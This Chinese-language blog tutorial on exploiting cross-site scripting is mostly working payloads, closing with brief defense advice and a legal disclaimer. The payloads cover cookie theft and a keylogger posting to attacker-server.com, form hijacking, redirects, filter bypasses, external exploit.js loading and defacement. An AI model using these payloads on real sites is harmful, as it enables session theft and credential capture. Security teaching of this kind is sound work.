XSS简单利用

2026-03-04 约 6 分钟读完

XSS简单利用

1. XSS基本利用方式

XSS（跨站脚本攻击）是一种常见的Web安全漏洞，攻击者可以通过在受害者的浏览器中注入恶意脚本来执行各种恶意操作。以下是XSS的一些简单但有效的利用方式。

2. 基本利用示例

2.1 弹窗测试

最基本的XSS利用是通过弹窗来验证漏洞的存在。

<!-- 基本弹窗 -->
<script>alert('XSS')</script>

<!-- 带信息的弹窗 -->
<script>alert(document.domain)</script>

<!-- 使用其他弹窗函数 -->
<script>confirm('XSS?')</script>
<script>prompt('Enter something:')</script>

2.2 窃取Cookie

窃取用户的Cookie是XSS最常见的利用方式之一。

// 简单的Cookie窃取
var img = new Image();
img.src = 'http://attacker-server.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);

// 完整的Cookie窃取脚本
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker-server.com/steal.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookie=' + encodeURIComponent(cookie));
</script>

2.3 页面重定向

将用户重定向到恶意网站。

// 直接重定向
window.location.href = 'http://malicious-site.com';

// 延迟重定向
setTimeout(function() {
  window.location.href = 'http://malicious-site.com';
}, 3000);

// 使用meta标签重定向
var meta = document.createElement('meta');
meta.httpEquiv = 'refresh';
meta.content = '3;url=http://malicious-site.com';
document.head.appendChild(meta);

2.4 键盘记录

记录用户的键盘输入。

// 简单的键盘记录
var keys = '';
document.addEventListener('keypress', function(e) {
  keys += e.key;
  // 定期发送记录的按键
  if (keys.length > 10) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker-server.com/keylog.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('keys=' + encodeURIComponent(keys));
    keys = '';
  }
});

2.5 表单劫持

修改页面上的表单提交地址，将用户提交的信息发送到攻击者的服务器。

// 劫持所有表单
var forms = document.getElementsByTagName('form');
for (var i = 0; i < forms.length; i++) {
  forms[i].action = 'http://attacker-server.com/steal-form.php';
  forms[i].method = 'POST';
}

3. 高级利用技巧

3.1 绕过过滤

当网站对输入进行过滤时，可以使用各种技巧绕过。

<!-- 大小写绕过 --><sCrIpT>alert('XSS')</sCrIpT>

<!-- 字符编码绕过 --><img src=x onerror="eval('\x61\x6c\x65\x72\x74(1)')">

<!-- 事件处理绕过 --><div onmouseover="alert('XSS')">Hover me</div>

<!-- 多标签绕过 --><iframe src="javascript:alert('XSS')"></iframe>

3.2 使用外部脚本

将恶意代码放在外部脚本中，然后通过XSS漏洞引用。

<!-- 引用外部脚本 --><script src="http://attacker-server.com/exploit.js"></script>

<!-- 使用img标签加载脚本 --><img src=x onerror="var s=document.createElement('script');s.src='http://attacker-server.com/exploit.js';document.body.appendChild(s);">

3.3 利用DOM操作

通过DOM操作修改页面内容。

// 修改页面内容
document.body.innerHTML = '<h1>网站已被攻击</h1>';

// 添加恶意链接
var link = document.createElement('a');
link.href = 'http://malicious-site.com';
link.textContent = '点击这里继续';
document.body.appendChild(link);

4. 防御措施

4.1 网站端防御

输入验证：对所有用户输入进行严格验证，过滤或转义特殊字符。
输出转义：对所有输出到页面的内容进行适当的转义。
使用CSP：设置内容安全策略（CSP），限制脚本的来源。
HttpOnly Cookie：设置Cookie的HttpOnly属性，防止JavaScript访问Cookie。

4.2 用户端防御

保持浏览器更新：使用最新版本的浏览器，它们通常包含安全补丁。
使用安全插件：安装广告拦截器和XSS过滤器等安全插件。
谨慎访问链接：不要点击来源不明的链接。
使用HTTPS：只在使用HTTPS的网站上输入敏感信息。

5. 法律风险

请注意，未经授权使用XSS技术攻击网站是违法的，可能会导致严重的法律后果。本教程仅用于安全教育目的，请勿用于非法活动。

6. 总结

XSS是一种强大的攻击技术，可以用于多种恶意目的。了解XSS的利用方式有助于网站管理员更好地防御此类攻击，也有助于安全研究人员发现和修复漏洞。

通过本文介绍的简单利用方式，您可以了解XSS的基本原理和危害，从而更好地保护自己的网站和用户。